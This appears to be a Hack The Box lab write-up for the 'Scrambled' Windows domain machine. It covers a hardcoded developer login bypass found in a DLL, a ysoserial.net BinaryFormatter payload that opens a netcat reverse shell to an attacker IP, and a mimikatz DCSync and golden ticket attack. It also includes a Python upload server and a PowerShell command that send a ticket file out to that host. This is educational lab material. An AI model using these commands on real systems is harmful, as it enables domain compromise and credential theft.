- Summary:
- Converts a plain text password to a secure string.
- Creates a credential object.
- Executes a command on the local machine using the specified credentials.
Enumerating SMB shares as miscsvc
-
I connect to the SMB shares as miscsvc using the
impacket-smbclientimpacket-smbclient $domain/$user:$pass@dc1.$domain -k
-
I have access to the
ITshare:
- We access 3 folder:
- Apps
- Logs
- Reports
-
I check the Apps folder & find a copy of their sales application
ScrambleClient.exe&.dll:
- I download both:
- I check the other folders but they are empty.
- I quickly check if we have acess to any other shares:
- So far we don’t.
Using the ScrambledClient.exe:
-
I transfer the
ScrambledClient.exeto my Windows VM & connect to the HTB VPN: -
I edit my
hostsfile to have the same entries as my linux host:.\notepad.exe C:\Windows\System32\drivers\etc\hosts
-
I enable debugging like it said on the intranet page & try and connect:
- I try both this user and
sqlsvcbut neither work.
-
Discovering the credential format the program expects by reading the log file:
- This is interesting as we now know the format that the program expects credentials in.
LOGON;<username>|<password>
-
I try all known usernames and passwords I have but no hits:
Finding a login bypass by Examining the ScrambleLib.dll in DNSpy:
DLL’s can hold a lot of valuable information so they are worth examining with tools like DNSpy
:
-
I open up DNSpy in my Windows VM:
- If don’t have it already you can easily download it here:
-
I open up the
DLLand find an authentication bypass:
- As you can see below the code says:
if (string.Compare(Username, "scrmdev", true) == 0) { Log.Write("Developer logon bypass used"); result = true; } else - this basically says if we enter
scrmdevas the user we will be logged in without having to enter a password
5. Privilege Escalation:
Logging into ScrambledClient.exe using scrmdev creds:
-
I connect with the creds:
-
I’m in.
-
Test order:
Examining how serialized data is sent via ScrambledClient.exe:
- Checking Debug Log:
- We can see the data is being serialized (converted) to base64
- I decode the
Base64data in kali to see if there is anything valuable being sentecho "<base64string>" | base64 -d
-
I try SQL injection incase there is a way to leak information from the underlying database, however it doesn’t work:
-
Before each upload the string
Binary formatter init successfulis listed:- Looking online I find this article
from microsoft regarding how
BinaryFormatteris now obsolete due to security vulnerabilites:
- Looking online I find this article
from microsoft regarding how
6. Ownership:
Crafting a Payload with yoserial.net & catching a system shell:
-
I do some quick searching and find ysoserial.net :
-
Initially I try and use a simple base64 encoded powershell reverse shell but it spits out a bunch of errors:
.\yoserial.exe -f BinaryFormatter -q WindowsPrincipal -o base64 -c "<CommandToRun>"
- I figure it could be a length exception so I transfer
nc.exeto the C:\Temp folder for ease.
-
Well that doesn’t work either, so suppose we need to troubleshoot and fix this:
.\yoserial.exe -f BinaryFormatter -q WindowsPrincipal -o base64 -c "<CommandToRun>"
-
After some digging I found that
1.35works fine where as1.36has other deps:- +Important Note+: Use Release
1.35+not+1.36
- +Important Note+: Use Release
-
I generate my payload using
yoserial.net v1.35:ysoserial-1.35\Release> .\ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "C:\Temp\nc.exe 10.10.14.31 443 -e cmd"
-
Use the same syntax the program uses to upload it:
UPLOAD_ORDER;<base64string>
- We can see it errors out, but that’s fine.
-
Catch my system shell:
-
Get root flag:
7. Persistence:
Creating A Golden Ticket with mimikatz:
-
I upload mimikatz via my python webserver:
-
I perform a dcsync attack and dump the
krbtgthash:lsadump::dcsync /user:krbtgt /domain:scrm.local
- I forge a golden ticket using the
Domain-SID&krbtgthash:kerberos::golden /domain:scrm.local /user:Administrator /sid:S-1-5-21-2743207045-1827831105-2542523200 /rc4:<HASH>
- The ticket is is present:
Transferring the Golden Ticket Using my custom python webserver:
-
Start my custom python webserver:
- I have this handy python webserver that is useful when exfiling data.
- Save as
pythonServer.py - Rung
python3 pythonServer.pyfrom http.server import SimpleHTTPRequestHandler, HTTPServer class SimpleHTTPUploadHandler(SimpleHTTPRequestHandler): def do_POST(self): length = int(self.headers['Content-Length']) field_data = self.rfile.read(length) #If you prefer change the file to be whatever you want with open('uploaded_file', 'wb') as f: f.write(field_data) self.send_response(200) self.end_headers() self.wfile.write(b'File uploaded successfully') # You can set the port to be 443 etc so it looks more legitimate. def run(server_class=HTTPServer, handler_class=SimpleHTTPUploadHandler, port=9000): server_address = ('', port) httpd = server_class(server_address, handler_class) print(f"Starting httpd server on port {port}") httpd.serve_forever() if __name__ == "__main__": run()
- Save as
- +NOTE+: Will output file as
uploaded_file
- I have this handy python webserver that is useful when exfiling data.
-
Send the ticket from victim using
powershell:filePath = "C:\Temp\ticket.kirbi"; $url = "http://10.10.14.31:9000"; $fileBytes = [System.IO.File]::ReadAllBytes($filePath); $webClient = New-Object System.Net.WebClient; $webClient.UploadData($url, $fileBytes)
- Ticket received on our attack host:
- +Note+: The file will be called
uploaded_fileyou will have to change it back to<file>.kirbi
-
Convert with
impacket-ticketconverter:impacket-ticketConverter ticket.kirbi admin.ccache
-
Import into session my current session:
export KRB5CCNAME=./admin.ccache
-
Check ticket is loaded into memory:
klist
-
Fire up
impacket-psexecand connect:- We have persistence.
- We have persistence.
Lessons Learned:
What did I learn?
- I learned about using pure kerberos authentication when NTLM is disabled (not to sure how useful this will be in real life but it was a fun exercise)
- I learned ALOT about deserialization attacks.
- I learned more about deconstructing DLL’s with DNSPy, that is fun.
What silly mistakes did I make?
- Spent too long trying to use tools that utilize NTLM (netexec) for enumeration.
- See point 1, got caught out a few times.
Sign off:
Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!
Until next time, hack the planet!
– Bloodstiller
– Get in touch bloodstiller at proton dot me